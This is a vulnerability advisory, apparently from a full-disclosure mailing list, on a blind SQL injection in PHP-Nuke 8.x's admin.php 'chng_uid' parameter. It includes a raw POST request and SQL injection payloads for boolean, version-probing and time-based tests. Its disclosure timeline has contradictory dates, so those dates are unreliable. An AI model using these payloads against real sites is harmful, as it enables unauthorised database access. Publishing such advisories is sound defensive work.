PHP-Nuke 8.x <= Blind SQL Injection Vulnerability 1. OVERVIEW The administration backend of PHP-Nuke 8.x is vulnerable to Blind SQL Injection. 2. BACKGROUND PHP-Nuke is a Web Portal System or content management system. The goal of PHP-Nuke is to have an automated web site to distribute news and articles with users system. Each user can submit comments to discuss the articles. Main features include: web based admin, surveys, top page, access stats page with counter, user customizable box, themes manager for registered users, friendly administration GUI with graphic topic manager, option to edit or delete stories, option to delete comments, moderation system, Referrers page to know who link us, sections manager, customizable HTML blocks, user and authors edit, an integrated Banners Ads system, search engine, backend/headlines generation (RSS/RDF format), and many, many more friendly functions. 3. VULNERABILITY DESCRIPTION The "chng_uid" parameter is not properly sanitized upon submission to the /admin.php which leads to Blind SQL Injection vulnerability. This allows an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data. 4. VERSIONS AFFECTED 8.0 and lower Tested version: 8.0 The paid versions, 8.1 and 9.0, of php-Nuke may be vulnerable as well. 5. PROOF-OF-CONCEPT/EXPLOIT => /admin.php POST /admin.php HTTP/1.1 Referer: http://localhost/admin.php?op=mod_users Content-Type: application/x-www-form-urlencoded Host: localhost chng_uid=[BLIND_SQL_INJECTION]+&op=modifyUser Tested Payloads: ' or 1=1-- [TRUE] ' or 1=2-- [FALSE] ' or substring(@@version,1,1)=5-- [TRUE if mySQL version is 5.x] ' or substring(@@version,1,1)=4-- [FALSE if mySQL version is 5.x] ' or SLEEP(15)=0-- [sleep for 15 seconds] Successful response (True) returns the user update form page. 6. SOLUTION Lock down access to php-Nuke administration backend. No patch is available yet. Use of this product is NOT recommended because of long lack of update and vendor negligence about security reports. 7. VENDOR php-Nuke Developers http://phpnuke.org/ 8. CREDIT Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2011-01-01: contacted author through emails 2011-01-25: contacted author through web site contact form 2010-03-23: no replies from author 2010-03-23: vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_sql_injection About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke PHP-Nuke 8.0: http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658 CWE-89: http://cwe.mitre.org/data/definitions/89.html #yehg [2010-03-23] keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1, blind, sqlin, sql injection --------------------------------- Best regards, YGN Ethical Hacker Group Yangon, Myanmar http://yehg.net Our Lab | http://yehg.net/lab Our Directory | http://yehg.net/hwd _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/